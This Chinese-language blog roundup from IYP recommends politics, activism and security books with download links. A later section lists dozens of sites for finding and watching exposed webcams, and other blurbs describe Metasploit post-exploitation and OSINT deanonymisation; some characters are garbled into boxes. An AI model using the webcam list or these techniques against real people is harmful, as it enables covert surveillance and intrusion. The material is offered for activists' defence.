我们都生活在一个倾向于压制创造力的社会里，对“实话实说”有一种偏执的强调。

要知道，虚构和幻想是可以衍生的，可以帮助创造头脑风暴，免于陈腐、僵死的思维方式。笑话也有同样的能力；那些陈腐的逻辑，是基于对这个世界毋庸置疑的真实和正确理解，而笑话，通过颠覆这种逻辑，给人们一系列兴奋和眩目的多种可能性选择。

政治评论家有个术语，叫“奥弗顿入口”。它是指一个政客可能秉持的中间派立场，不用担心被称为怪胎或疯子，而且用这种方式，他可能会根据入口的可接受性，在一定程度上偏左或偏右。

准确说，缺乏任何新鲜或原创的思考、锲而不舍地追求以此为出发点的民意调查和妥协—— 对一个职业政客而言，可能是至关重要的。

但是，对任何精神独立者而言，这都是死亡魔咒。

这种 “精神独立” 必然会钟爱笑话的逻辑，因为这些笑话的核心本质游离于 “奥弗顿入口” 之外，违背一般常识和公认道德，并打破了诸多禁忌。

换句话说，这个世界的人分为两种，一种是想正确的，一种是想有趣的。想要正确的人通常善于识别凌驾于人和自然之上的工具性能力。他们的正确性就是获取这种能力的方式。想有趣的人希望去吸引、去诱惑、去教授、去惊扰、去影响、去羞辱、去迷惑 …… 他们所拥有的能力被断定与现实的工具性能力无缘。

齐泽克这本书把各种复杂情境进行浓缩，直到它们可以被当成笑话来取悦读者。笑话之于齐泽克就如同代数之于他的老搭档 Alain Badiou，是齐泽克所知的概括一个日常情境模型的最精确方式。

然而，和代数不同的是，笑话所带来的情境，只是借此成为一个笑话，情境所描述的随性暗示不再是必然合理的或不可避免的。将情境看成某种可笑的东西，让人们感觉到这些也是可以被抛之脑后的东西。

笑声，在这种意义上，就是革命。

好的笑话本身就是出色的哲学。在这本结构紧凑的笑话集中，齐泽克拿出他最擅长的语言装配形式，举重若轻地将读者引入他的哲学空间：他反复玩味着那些又猥琐又好笑的段子，分析它们背后的逻辑，用笑话的荒谬去对冲某些常识结构或理性情境。

下载：https://t.me/iyouport/7872

下载：https://www.patreon.com/posts/shen-ke-zhi-qing-41096530

12、挖掘AI：机器学习训练集中的图像政治——

「图」

“这家伙很可疑“—— 当我说出这样的话来时，不论您认不认识此人，都会在心理层面亮起红灯；

作为普通人，您的警惕顶多阻碍您与此人的关系发展，但现在的问题是，您是个警察、是政府间谍、是维稳官员，而此人可能是敏感人士；或者，您是机场的安检员，此人是出行为参与联盟的活动家；再或者，您是大型公司的人力资源主管，而此人是前来应聘的人 …… 此处可以无限举例。

那么，这里的 “我” 是谁？

我们明天将发布一篇重要的文章，此处是该文章中被引用的书目和论文，以帮助您增进理解。

这个问题很重要—— 尤其是对于那些有资源和能力在机器学习上大举投入的国家的公民来说，是的，中国和美国；这两个国家的技术人员应该明白，关于您的工作正在造成什么。

这并不是一个关于 “我们如何能令技术更加完善” 的问题，而是，这种技术是否应该存在。

📌 这事关反抗、人权、自由和自决，它们是否还能具备原本的意

义。

技术领域有一些错误的想法，即 总是在想如何 ‘让技术变得更好更公平’， 为什么这是不切实际的?

为什么说技术的每一步都深深嵌入了政治?

曾经反抗运动在现实中已经消除的压迫和专制，现在又在技术时代变本加厉了，而您却已经无从反抗， 因为您根本看不到它的运作方式 …

您可以在同名文章中看到具体分析：《挖掘AI：机器学习训练集中的图像政治》。

下载（一共9份资料）：https://www.patreon.com/posts/wa-jue-ai-ji-qi-43038761

13、《The Long Hangover: Putin’s New Russia and the Ghosts of the Past》

「图」

“Great Again”——

「图」

习近平的 “中华民族伟大复兴”、特朗普的 “Make America Great Again”、拜登的 “Restore The Soul of America” …… 等等，这些人们已经很熟悉了；其实俄罗斯也一样，“Great Again” 是普京赢得支持的根基。

📌 鉴于大量观察家已经发现，能够识别中国的民族主义的人却无法识别美国、英国、巴西、意大利、俄罗斯等很多国家的同类现象；尤其是，近来一些分析认为，中国的未来最有可能走俄罗斯的路线，于是我们觉得这本书也许值得推荐给中国读者。

- 不要错过《*国家*的危险神话》
- 以及《新自由主义结束了—欢迎来到新*不*自由主义时代：冠状病毒、中国、寡头、高堡奇人…》

在这本书中，Shaun Walker 提供了很多深入的报道、自下而上的解

释，说明了俄罗斯在普京领导下的“复兴”运动。普京的政权巧妙地利用了苏联在第二次世界大战中战胜法西斯主义的民族骄傲记忆，使普通的俄罗斯人感到自己的国家急需“Great Again”。

它提供了对当代俄罗斯及其寻求新身份的深刻见解，通过该国与苏联过去的麻烦关系讲述了这个故事。Walker 不仅解释了弗拉基米尔·普京（Vladimir Putin）的目标和政府对历史的官方操纵，而且着眼于普通俄罗斯人的思考方式及动机。

它还探究了俄罗斯为何与德国不同，为何未能接受其过去最黑暗的篇章：斯大林的清洗、古拉格和战争。

这本书是关于迷失的一代人：数百万失去了祖国的俄国人，以及随后为恢复目标感而作出的尝试。书中充满了分析，但主要通过生动的报道来追踪这些故事，这是对苏联解体的遗产及其对俄罗斯生活和普京政策的影响的深思熟虑的探索。

您可以在很多关于俄罗斯的书籍和电影中看到对这种情愫的描绘，但这本书对理解现实、尤其是改变现实的参考价值是其他作品所没有的。

最后，我们想说，**IYP**并不会鼓励“中国将俄罗斯化”的预言，不论它的论述有多么合理；因为接受任何预言都将意味着局限尝试的步伐。希望您相信未来的可能性是无限的，它取决于今天的人们作出什么样的努力。

而这本书则是希望解释，您应该警惕和避免的东西。

下载：https://t.me/iyouport/7891

下载：https://www.patreon.com/posts/great-again-41143520

14、 去它妈的工作 ~ 纪念勇敢的无政府主义战士 David Graeber——

「图」

David Rolfe Graeber，美国人类学家、著名的无政府主义者和作家，也曾是伦敦经济学院的人类学教授，占领华尔街运动的推动者。他撰写了很多伟大的著作，对反抗运动和民主事业具有重要意义。

David 于今年9月去世，享年59岁。

Graeber 的积极行动包括抗议2001年在魁北克举行的第三届美洲峰会、和2002年在纽约市举行的世界经济论坛。

2011年，“占领华尔街” 运动登上了美国各大报纸的头版。这是一场草根群体对2008年金融危机的反应，直指经济不平等现象，尤其指出：最富有的1%人口主导了整个经济。那年的9月12日，2000人聚集在纽约祖科蒂公园，当晚几百人没有离开，第二天依然如此。抗议者高呼：我们是99%。这以后，聚集者人数不断扩大。几周内，占领运动扩展到了全国。

Graeber 对这一口号大加赞赏。

虽然 David Graeber 被看做是 “占领华尔街” 运动的组织者，但他不愿意被看成是一位领袖—— 因为他奉行的无政府主义是不要党派、不要领袖、不提要求的。

Graeber 认为，正是对无政府主义模式的信赖，才让占领运动变成了激进民主的大派对。他相信，占领运动刺激了“革命想象力的苏醒，此前，这种传统智慧早已被宣告死亡”。

在2013年出版的《民主工程：一段历史，一次危机，一场运动》（The Democracy Project：A History, a Crisis, a Movement）中，他给革命提出了合理化理由，并且把无政府主义摆在叙述的中心，以清除人们对这一思潮的误解。

他的《债：第一个5000年》一书指出，货币是埃及等古国或苏美尔的神职人员为更有效地收税或计算财富而创造出来的。

价格概念和冷漠的市场应运而生，它们吞噬了人类社会原本拥有的一切温情脉脉，让责任和义务变成债务，欠债还钱的常识腐蚀了人类彼此关爱的本性。

Graeber指出，我们应该免除所有国际和消费者债务。

- 《债务反叛运动：传统的阶层斗争可能不再适用》

在2018年的作品《Bullshit Jobs》中，Graeber 把现实生活中的很多工作称为 “狗屁工作”—— 经济学家凯恩斯早就指出，到20世纪末，技术会非常发达，一些发达国家可以实现一周15小时的工作制。然而在今天，虽然生产性工作已经在很大程度上自动化了，但工作时间并

未减少，大多数劳动者依然没有闲暇追求自己想要的快乐。

Graeber 说，现在有**40%**的工作都是**BS**，很多工作被制造出来只是为了巩固那**1%**的人群的利益，例如大量的金融服务和公司法务职位；另一些工作出现，只是为了让统治阶层自我感觉良好，例如一些行政助理、接待员工作。

还有一些工作之所以存在，仅仅是因为人们在操劳那些工作却没有时间做自己的事，比如深夜外卖员、宠物洗澡工等。

📌 这些不能够创造价值的狗屁工作被统治阶级大量制造出来，只是为了维持社会稳定。

“地狱就是一群人都把大部分时间花在完成一件他们不喜欢、也不太擅长的任务上。” Graeber 指出，现代经济中的大量工作其实是 “地狱的一种可能版本”。

他最后的视频：

这也是为什么IYP会支持基本收入。

为生存而工作是愚蠢的。人们应该 “想要” 去工作，想要发挥和展现自己的能力而工作，而不是为了活下去而不得不工作。想象一个社会，人们的生存不依赖工作，想想看这会带来什么样的改变？

一切都会改变，想象一下您可以在不必担心经济损失和失去医疗保险的情况下离职，您可以做自己真正想做的事，而不是为了糊口而忍耐着剥削和压迫，想象一下这会给工人阶级带来多么强大的力量。

如果人们能够在没有工作的情况下生存，想象一下雇主会是什么样子？他们必须公平地对待工人，并不断提升自己的实力为了吸引工人加入；他们必须提供比其他雇主更好的选择，才能让人们想要参与其中。

目前提供基本收入的地区已经获得了成效，大多数人都是确实想要工作的，选择不工作的人只是带着婴儿的父母、学生、老人和残疾人。人们渴望作出贡献，渴望成为对社会有用的人，

是的，会有人利用这点，绝对如此，您认为人们就不会利用当下的经济体制吗？99%的人忍辱负重、不得不打多份工、不得不忍受996 …… 只是为让那1%的人口变得更加富有？

不要埋冤那些屈服的人，他们只能这么做，他们害怕失去工作和随之而来的一切悲惨，以至于他们只能忍受虐待、丧失权力、忍受工会作为唯一的谈判渠道被破坏、为了医保和退休金甚至要遭受身体的破坏。

如果每个人都能有基本的收入，不会担心饿死，情况就完全不同了。你的老板不会也不敢拿你当屎，因为他知道你随时可以离开。您真的随时可以离开不满意的环境，不断拥有更好的更理想的工作。

💡 当您不需要为下顿饭在哪而焦虑时，您可以省下绝大多数神经元去思考更有价值的长期问题。

想象一下，一个社会里在每个人的生存中，贫穷的恐惧不是一成不变的；想象一个社会可以产生创造性的作品，可以产生多少新的发明、抚养多少孩子、照顾多少老人 ……

当前的体制依旧在假设职位比就业者更多，但如今的高速自动化时代，这已经过时了。机器已经完成了很多工作。社会的重点应该放在使人们不需要就业的目标上。

每个人都想要去做自己喜欢做的事，即便没有钱，你能看到如此多的人利用业余时间满足自己的兴趣爱好，人们期待自己的特长能发挥作用。但现在，人们只能在满足维生的基础上才有时间满足自己 ……

人们已经没有时间反抗。

这就是变革的重点，打破这个只能帮助权势维稳社会的狗屁工作。解放 “99%”的才智，创造真正的民主。

David Graeber 的思想为反抗运动和社会变革带来了很多启示。哀悼他的过世，更希望未来的行动者们能继承 David 的智慧和勇气。

我们上传 Graeber 的一些主要著作（8本），希望能对中国的反抗者有所帮助。

- 《Direct action : an ethnography》
- 《Debt: Updated and Expanded: The First 5,000 Years》
- 《Bullshit Jobs: The Rise of Pointless Work, and What We Can Do About It》
- 《On Kings》
- 《Bullshit Jobs: A Theory》
- 《The Democracy Project: A History, a Crisis, a Movement》

- 《The Utopia of Rules: On Technology, Stupidity, and the Secret Joys of Bureaucracy》
- 《无政府主义人类学碎片 (Fragments of an Anarchist Anthropology)》（中文）

下载：https://t.me/iyouport/7891

下载：https://www.patreon.com/posts/qu-ta-ma-de-gong-41227057

15、《Calling Bullshit: The Art of Skepticism in a Data-Driven World》

「图」

对战胡说八道——

「图」

胡说八道充斥着整个世界。

政客可以完全无视事实、新闻稿替代了科学校验、高等教育奖励胡说八道而不是分析思想、创业文化将胡说八道提升为高级艺术 …… 广告商操纵我们每个人能看到的东西，把更多的胡说八道推到每个人面前，恶意愚蠢霸着占最高的知名度，真知被埋没 ……

无论是在私人企业还是在公共领域，大多数活动似乎只是胡说八道的重组。

为了对战这种状况，几年前华盛顿大学开设了一门课程 “Calling Bullshit”；本课程的目的是通过识别胡说八道、驳斥它们，并通过有效的分析和论证，与胡说八道作斗争，帮助学生们驾驭这个充满了胡说八道的现代环境。

这门课程在YouTube上可以免费学习：

当下的胡说八道如此擅长伪装、面孔多样，可以在几分钟之内强行塞入数十亿头脑中。在这种混乱的局面下，这门课程看起来更像是复古的冷兵器。

尽管全世界都在利用诸如Snopes之类的检验工具和事实核查行业的发

展进行反击，但很少有文本可以确切解释今天弥漫全世界的胡说八道是如何工作的。

Carl Bergstrom 和 Jevin West 这本书旨在为人们面对的挑战提供细微的见解，并教会人们如何立足于这个世界。它充满了启发性。

作者直接从 Calling Bullshit 课程中吸取教训，提供了对统计懒惰、无知和渎职的合理技术性调查。它同时警告说，人工智能通常“创造不合理的期望，在行业和学术界进行不负责任的研究，威胁消除任何隐私人权，并激发误导性政策。”

Calling Bullshit 很少讨论 Covid-19 等严酷的案例，但它提供了与这些问题有关的想法。该书在分析中力求做到多样化和中立，也许是为了避免被指责过于政治化。在大多数情况下，他们会从课堂上借用技巧：简单说，它为您提供了一些解决问题的工具，如何应用它们完全取决于您。

📌 这与IYP的想法是一致的，我们提供检验技巧和避免上当的思考方式，而不是去具体分析每一个胡说八道，以避免助长虚假信息的影响力；我们认为，帮助公民掌握识别和验证的技巧作为武器，是对抗这个胡说八道世界的最佳方案。您可以在 列表-3 “让它民主”、“心理战和信息战”、以及 列表-5 “劝导术”、“社交工程”、和“战略性欺骗” 中看到相关内容。

下载：https://t.me/iyouport/7919

下载：https://www.patreon.com/posts/dui-zhan-hu-shuo-41300353

16、在现实中行动的安全知识——

「图」

您不可能一直呆在网上。

很多时候您需要将人们召集起来，举行面对面的社区会议、集中到抗议现场、参与跨国社区的活动、与利益相关者会面、举办研讨会、哪怕只是小型的敏感人士聚会 ……

有太多的情况都会涉及出行安全；不论是作为组织者还是参与者，无论行程远近，您需要知道，出行的许多方面都涉及个人数据的自动创

建和暴露。

使用不同的交通工具都会泄漏您哪些数据？不同的住宿方式会出现什么样的危险？

为什么良好的个人数据习惯很重要？个人数据如何对您的组织活动构成风险和好处？确定与谁共享数据？确定哪些人可以提供帮助、哪些人最有可能阻碍良好的数据惯例？如何开始制定您的组织活动的数据政策？

您将如何组织一场聚会或活动？参与者可以通过哪些应用程序获得邀请和注册？参与者之间和您如何交流？如何帮助那些面临更高风险的参与者成功加入活动？

……

这是另一个层面的安全性知识，它具有同等的重要性，尤其是在那些吃顿饭也会被秘密警察跟踪监视的国家，了解所有方面的防御技巧对于行动者来说非常重要。

柏林非政府组织 Tactical Tech 提供了一套资料，致力于帮助行动者和组织者了解上述这些问题，并设置最佳方案。

📌 一共3文档，都很简单，它们是一个思考框架，希望能对中国的行动者有所帮助。IYP也介绍过一些相关内容，您可以参见 列表-1 中的 “完美隐身” 系列 和 “反侦察—在现实中反监视”。

下载：https://t.me/iyouport/7922

下载：https://www.patreon.com/posts/zai-xian-shi-de-41347813

17、打破 Matrix 的路 ——

「图」

Hi, 我是 Eduard Victor, 明天我将与IYP的 Stone 主持一次与中国朋友的对话, 我们将谈到的事也许是您从未在其他地方听到过的:)

我们今天会先上传一份杂志和合订本, The Baffler.

stone 和我都是读 The Baffler 长大的人, 这份杂志曾经带给了IYP很多印象深刻的灵感, 也是为什么我们从来不会觉得 “美国变了”, 或者 “特

朗普导致了什么”, 我们不那样认为, 因为我们看到了这一根深蒂固的“沼泽”, 它已经淤积了太多年.

The Baffler 诞生于1988年, 在美国思想和文化遭遇的非创造性破坏开始发生时, 它就在现场; 在25年的生涯里, The Baffler 的犀利和尖锐的异议之声从未减少过一分.

它知道，除了反抗我们别无选择.

对于任何试图保持着清醒的眼睛去观察自由主义和进步改革之弱点的人们来说, 当自由主义和进步改革与右翼共舞时, 这是个血淋淋的景象; 那些充斥在新闻和舆论周期中的党派小冲突只会让你错过真正的重点.

任何一位领导人都无法为这种教条和苦难的残骸提供另一种选择——一个名副其实的、从根本上不同于现在的未来—— 这很可能是商业文明的整个沉闷编年史中最可悲的学问白痴的例子. 总的效果是一致的保守, 并且通过设计和默认, 仅仅对根深蒂固的政治阶层有利 … 好了，我们已经看到了他们的未来，那个无效的未来。

《你没有未来》, 就像 The Baffler 之前的两部作品集一样，仅仅是通过倾听某些权势者避免谈论阶级的方式，就得到了很大的好处. 从这个简单的方法出发，再加上砸碎1%富豪阶级的圣像和宠物乌托邦的强烈愿望，The Baffler 从这个国家的三个主要权力中心的停滞中，拼凑出了一个反叙事.

如果你碰巧生活在一个对积极思考和否定深感恐惧的文化中，批判是世界上最难的事。普通的抱怨是被允许的，它甚至在一定程度上已经成为一种美德，你能看社交网络上的“嘴炮”异议如何赢得了最多的追随；但是，如果你是批判者，就必须与一种共识文化相抗衡，这种共识文化可以将尖锐的价值观冲突直接减少到“个人态度”问题上.

这绝不是容易的，但这是撕下强权护身符的第一步. 它必须是第一步. 我知道，人们很冷，人们想要点火取暖，抱怨就是一种擦火取暖的行为; 但是，您如何在倾盆大雨的情况下把火堆点燃？那是不可能的对吧？叙事矩阵就是倾盆大雨，是每个人头顶上的浓厚的阴云，只有你能做到推开它的时候，其余的一切才有可能.

The Baffler 希望为那些感觉到已经准备好了的人们砸开一个替代空间，不过，不要指望行军令会从这几页纸之间掉下来，那些是您必须自己去想的东西.

从来没有比现在更好的时机了—— 走出主流媒体的叙事矩阵，去读 The Baffler!!

推荐我们的对话 ~ 「打破 Matrix 的路 ~ 与IYP对话2020：关于中国和美国」

下载：https://www.patreon.com/posts/da-po-matrix-de-44650085

就是这样！是的，12月没有结束，下半月将要发布的内容我们将汇总在《1 ~ 2月版》中，它将于**2**月最后一天发布。

Note ~ IYP的网站将从明天开始休息，我们正在准备一个新的形式（也许明年推出）—— 休息意味着网站发布频率有变化，但我们会尽可能避免错过突发的重要的信息；尤其是，频道不休息！**patreon** 书籍更新不休息！书籍汇总也将在双月底按时发布。〇

原文

IYP优秀书籍汇总2020（3 ~ 4 □版）-完全免费下载 - iyouport

免费书和纪录片

【2020年4月24日存档】本系列内容每2个月更新一次

来看看本次汇总中有没有您感兴趣的内容？

1、《Cryptography: Cracking Codes》

「图」

情报和反情报：破解密码——

秘密消息和密码破译，是任何一种对峙的基本功。

在对峙状态下，一个成功的加密有可能具有改变历史轨迹的作用。

密码学是一门科学，在某种程度上也是一门艺术，其根源可以追溯到远古时代。

密码学本身没有价值，它必须作为一个系统的一部分，才能起到相应的作用。您可以将密码学想象成现实中的一把锁，锁本身没有什么作用，它需要在一个大的系统中才能发挥作用—— 比如一栋建筑物的大门、链条、保险箱……

☞这个大系统甚至可以扩展到用锁的人：确保在必要时锁住系统，并且保证钥匙不能被他人获取。

同样，密码学也是作为一个更大的安全系统的一部分来发挥作用的。

虽然密码学只是整个安全系统的一部分，但却是最重要的一部分：它必须识别哪些是合法访问、哪些是非法访问。因此，密码和一些相关因素往往成为对任何安全系统的攻击点。

即使系统存在其他脆弱性，让密码系统良好运作也是非常重要的。不同的脆弱性对不同的攻击者有不同的用处。

例如，攻破密码系统的攻击者被发现的可能性很低，几乎不留痕迹，因为攻击者的访问看起来就像是合法访问。和现实中的盗窃同理，如果一个窃贼使用撬棍，你马上会发现发生了什么；而如果窃贼使用开锁的方式，你可能很难发现门被打开过。许多攻击模式都会留下痕迹，或对系统造成某种干扰；然而对密码系统的攻击是很难发现的，攻击者会一次又一次地实施。

从对密码分析、加密和解密等基本术语的定义开始，《情报和反情报》系列的这一部分强调密码学现已成为日常业务的一部分，而不仅限于间谍活动和军事。

☞ 您可以在这里了解到如何构造从最简单到最复杂的各种加密，然后继续学习密码分析的基本概念和类型。

并且了解到加密系统中极为复杂的结构、以及破解密码所需的高级难题解决方案。

👌 您将看到猫鼠游戏的两个方面：那些试图设计难以破解的加密的人，以及那些试图破解这些加密的人。

这本书的事实和概念井井有条，陈述清楚；图表、照片和侧边栏增加了视觉上的多样性—— 这样的研究最适合认真的学生，而不是休闲的读者。

您可以在这里下载：https://t.me/iyouport/7002

下载：https://www.patreon.com/posts/38189784

电影——

「图」

《Mr. Jones》Agnieszka Holland 的2019年传记惊悚片。被选为第69届柏林国际电影节金熊奖角逐者。

这部电影讲述了威尔士新闻记者 Gareth Jones 的故事，他于1933年前往苏联，揭露了乌克兰大饥荒的真相，这场大饥荒造成数百万人死亡。

这部电影再一次证实，真相在任何时代、任何国家、任何制度下，都是不受欢迎的，甚至是致命的；然而，揭露真相的勇士，在任何时代都不会缺席。

这部电影中也许有中国读者熟悉的场面 ……

https://idope.se/torrent-list/Mr.%20Jones/

2、《Counterintelligence：Theory and Practice》

「图」

反情报不仅是防御手段，也是进攻武器——

如果您不想要政府间谍知道您的秘密，您会做些什么？加密、威胁建模和评估、大规模铺设虚假信息以掩盖真实信息、团队安全培训 …… 还有吗？

一般来说人们会认为这些措施属于反情报基本模式；但它们并不全面，因为，显然您的行动缺乏针对性—— 即 您不知道对手想要什么，仅仅在假设 “他们想要一切”。

☞这是费时和费力的，并且，很可能百密一疏。真正的反情报工具必须有针对性，也就是说，您需要对对手想要什么、对手的思考方式和行动模式，有一个切实的了解；从而制定出最为有效地反攻。

在安全技术领域大家都知道一个道理：没有一成不变的解决方案，不存在能让您一生安枕无忧的 “指南”，因为您的对手从来不会停步。

时间是最不可忽视的创新者；如果一个人不能时常寻求新的补救措施，那么他定会遇到新的困难—— *Francis Bacon*

这句话适用于大多数领域，包括情报领域。如果您想要避免在重要信息的安全性和这些数据所依据的秘密操作方面出现 “新弊端”，那么就必须不断挖掘新的补救措施。

这本书以某种方式填补了一段时间该学科文献中的空白。并不是说这一主题的文献很少，正相反，有相当多的反情报主题书籍资料；但是，其中很多资源都几乎没有实践解释，也没有理论基础。

大多数这类文献仅将反情报视为“安全”措施，但事实上并非如此。

因此，尽管您能搜到许多标题含有“反情报”的资料，但它们的范围狭窄且有明显的局限，而且不会将反情报放在需要放置的背景中。于是它们很可能不够实用。

👉这本书的主体研究了反情报的两个主要重点，即：防御性和进攻性反情报。并且它会引导读者学习将理论应用于实际情况的实践。还有四个附录提供了与讨论的问题相关的示例。

介绍这本书是想要介绍它所展示的思考方式，您可以忽略它的用例；👌反情报的思考方式可以在任何对峙中使用，包括民间反抗组织和游击队。

其关键就如 Bacon 所言：不断进取的意识和精神。

您可以在这里下载：https://t.me/iyouport/7008

下载：https://www.patreon.com/posts/38189868

Darknet Diaries ——

「图」

这是 Jack Rhysider 创建的调查性博客，用于记录有关黑客、恶意软件、僵尸网络、密码学、加密货币、网络犯罪和互联网隐私的真实故事。

有很多有趣的东西。

如果您对安全、防御、反抗、威胁情报分析感兴趣的话，这里也许有您喜欢的内容。http://uka5ybpmh3u54dkv.onion/

3、《Metasploit Revealed : Secrets of the Expert Pentester—Build your Defense against Complex Attacks》

「图」

“黑掉整个宇宙”——

Metasploit Framework（简称 MSF）是一个渗透测试的框架，但不是一个直接的渗透测试攻击软件。

☞它本身包含了很多漏洞攻击模块，几乎每个CVE等漏洞都会添加进MSF 里，于是有人称它为“可以黑掉整个宇宙”的渗透测试框架。

Metasploit 的一些常用术语包括：

渗透攻击（Exploit）：指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞，所进行的攻击行为。

攻击载荷（Payload）：是我们的期望目标系统在被渗透攻击之后去执行的代码。

Shellcode：是在渗透攻击是作为攻击载荷运行的一组机器指令，通常用汇编语言编写。

模块（Module）：指 Metasploit 框架中所使用的一段软件代码组件，可用于发起渗透攻击或执行某些辅助攻击动作。

监听器（Listener）：是 Metasploit 中用来等待网络连接的组件。

“后渗透测试”包括内网渗透、权限维持、权限提升、读取用户hash、浏览器密码等等，MSF 在后渗透测试阶段往往是神器。

关于 Metasploit 的书有不少，今天上传的这本书相对容易阅读，您只需要对网络和安全的概念有一定了解即可使用这本书。

它是易于理解的 Metasploit 实用指南，涵盖了框架的所有方面，从安装、配置和漏洞搜寻、到高级客户端攻击和反取证的技术。

和所有相关知识一样，它注重实战而不是理论知识，也就是说，希望您能多动手，在尝试中寻找窍门。

您可以在这里下载：https://t.me/iyouport/7031

下载：https://www.patreon.com/posts/38189928

4、《Complete Guide to Shodan》

「图」

小恶魔完整指南——

我们去年提供了对 Shodan 的挖掘，它成为黑客的挚爱是绝对有道理

的，因为它可以非常厉害，尤其是在这个追求 “联网一切” 的世界里。

听说有中国读者对 Shodan 感兴趣，这很令人兴奋，于是我们今天将上传的这本书会系统地介绍 Shodan，而且比较简单，无需相关基础。

⚠ 免责声明：Shodan 有非常多的用例，从安全防御到渗透测试到真实的攻击；此处提供的内容仅作为知识共享教育使用，我们对具体操作所产生的任何影响不承担责任。

- 不要错过《搜远程桌□、摄像头、打印机、家□设备 … 等□切的 超级Shodan搜索：恐怖指南》

您可以在这里下载这本书：https://t.me/iyouport/7042

下载：https://www.patreon.com/posts/38190098

窥探摄像头——

「图」

看起来很多读者对窥探监视摄像头更感兴趣。是的，Shodan 可以做上□那本书所介绍的。但要想熟练使□它，可能需要□些基

到， 如 👆那本书所介绍的。但要想熟练使用它，需要一点基础。

事实上在线查找□络摄像头的□具和技术□法□常多，包括 Evans 曾经推荐过的最简单的 Googledorking 都可以做到。

👌以下是□个列表， 帮您总结□下 **□络摄像头搜索□具**：也许仍不全□，但都可以使□。

如今是遍地监视摄像头的时代，相关调查□具的开发也处于热潮中。

列表——

hereinreality.com/webcams/

webcamtaxi.com/en/

webcam.nl

worldcams.tv

world-webcams.nsspot.net

kroooz-cams.com

webcamsmania.com

camhacker.com

opentopia.com

camvista.com

webcamhopper.com

camsecure.co.uk

webcamsabroad.com

public-camera.com/en/

mylivestreams.com

pictimo.com

livefromiceland.is

the-webcam-network.com

iplivecams.com

ip-24.net

leonardsworlds.com

whatsupcams.com/en/

wxyzwebcams.com

webcamlocator.com

123webcam.com

goandroam.com

hdontap.com

city-webcams.com

camscape.com

gobefore.me

explorewebcams.com

hereinreality.com/webcams/

myworldwebcams.com

liveincam.com

geocam.ru/en/

onlinewebcameras.com

webcambiglook.com

bit.ly/37M3Qou

cse.google.com/cse?cx＝partner-pub-2526982841387487:1817040253&ie＝UTF-8

cse.google.com/cse?cx＝004985303091853907970:enq82n069w8

不要错过我们的 “新□情报□具” 系列，其中介绍的都是您也许很难通过常规渠道获得的冷门技术。该系列将不断更新。它收纳在 「列表-5 “直接□动” 中的 “开源情报”」 部分，于是，您知道它的□的:)

5、《Open Source Intelligence Investigation From Strategy to Implementation》

「图」

开源情报的能力已经超过人工情报甚至信号情报——

我们曾经在《科技如何改变情报产业？- 技术和间谍的未来》一文中解释了这个问题。大规模监控已经损伤所有人的活动自由，这其中也包括需要严格隐藏身份的政府间谍—尤其是跨国行动的间谍，这是他们搬石头砸脚的最突出笑话之一。

于是，人工情报在数字技术监视时代已经严重受限。同时，公民反抗的崛起（如 PI、ACLU etc.组织）以及透明度革命的努力（斯诺登 etc.），信号情报的获取虽然仍在很大程度上不受限制，但是只要能被曝光，间谍行为的后果会让政府很麻烦。

在这种情况下，开源情报便成为了最具生命力和有效性的情报获取途径。

因为它完全合法（至少目前为止在任何国家都是如此），并且操作极为宽松（社交工程伎俩和黑客侦查手段都是允许的、且一定程度上必需），尤其是，它可以具有强大的侵入性能力（因为如今几乎所有人都把自己放在互联网上了，其中为数不少的人甚至在线曝光了自己的一生）。

开源情报被限制的未来可能性极低，因为所有人都可以使用它，而不仅仅是政府间谍—— 从调查记者到公民社会组织，从事实核查平台到任何追求真相的公民，都在使用它—— 并且，☞对大众来说，开源情报是反侦察和反情报的利器 #对抗性思考方式

简单说，它是进攻武器，同时也是防御工具，还是反抗能力。联合国已经不止一次将开源情报调查报告作为确定侵犯人权行为的证据。

这是一份有关如何进行开源情报（OSINT）调查的权威且易于访问的指南—— 包括从数据收集到情报分析、到开源情报工具的设计和审核等等。

☞**任何成功的行动最重要的方面之一就是，行动策划者能够获得与手头的调查或事件有关的及时、可靠和可操作的情报**。

除传统的调查技术和信息来源外，开源情报还提供了宝贵的途径来访问和收集此类信息。

这本书中涵盖的开源情报示例包括：在社交媒体上发布的信息——也就是社交媒体情报，这是访问和收集开源情报到定位追踪的最公开的手段之一；还包括从暗网上获得的开源情报资源、到具有实时分析功能的开源情报的组合。

这本书从理论、实践和法律角度分别提供了对开源情报的深入理解；它解读了 LEINT OSINT 以及其他需要利用开源数据的实体的设计和部署策略；还有大量动手指南。

请注意，这其中所显示的用例基本是以国防和维稳机构为立场的，但是您知道，方法都是一样的，☞如果您是防御者，您可以借此了解到“当维稳机构表现最专业的情况下” 他们会怎么做，从而将帮助您从一个较高的层次设计更为有效的 *反情报防身* 实践计划。

👌三位作者来自全欧洲情报资产大本营—英国，和开源情报实力最显著的新秀—荷兰。希望它提供的知识能对您有用。

IYP 的 “开源情报” 专栏放在分类列表-5 “直接行动” 中，您肯定理解它的意义。下面我们上传这本书。

- 不要错过，关于情报分类和历史，以及调查演□《“□歌地图”是□詹姆斯邦德更棒的间谍》

您可以在这里下载这本书：https://t.me/iyouport/7065

下载：https://www.patreon.com/posts/38190146

6、《Automating Open Source Intelligence；Algorithms for OSINT》

「图」

从防御到进攻——

与昨天上传的那本来自欧洲的开源情报调查指南有点不同，这本书会从实战中的不同用例角度介绍这一技术—— 其中包括防御角度。防御是开源情报对大众来说最具价值的方面，也是IYP相关专栏的主要侧重。

☞这本书中将介绍 数据分析、自动数据收集、**API**和各种调查工具；算法、包括有监督和无监督机器学习、地理定位追踪方法、去匿名化的手段，等等。

以及，当涉及道德和情境问题时，这些矛盾如何在开源情报内部发生？ 大数据已经吞噬了私人生活的安全和稳定，开源情报该如何处理这一棘手问题？

您的手机提供商每时每刻都在跟踪您、并知道谁与您在一起；它们记录您的在线和店内购买模式，并显示您是否失业、生病或怀孕；您的任何电子邮件和文本都会暴露您的亲密朋友；Google 知道您最隐秘的想法，Facebook 可以确定您的性取向和心理弱点，而无需您自己提及 ……

互联网本身就是跟踪、窃听、监视、和赚钱的工具。

☞开源情报是数据革命的重要参与者之一，如何才能让它成为捍卫民主和正义的使者，而不是高科技人权侵犯噩梦的雪上加霜？

我们已经看到了开源情报促进民主的成功案例，不论是匿名者组织的侦查行动还是国际人权组织的调查和揭露，同时也看到了开源情报可能造成的遭难案例，比如 流行中国和其他很多国家的人肉搜索、以及政府间谍肆无忌惮的社交媒体情报抓人。

互联网驱动的数据收集、存储和传播方式以及与之相关的进步已经发生了深刻的变化，随着在美国成立开源情报中心，已经足够明确了OSINT在所有来源情报过程中的合法性转变。

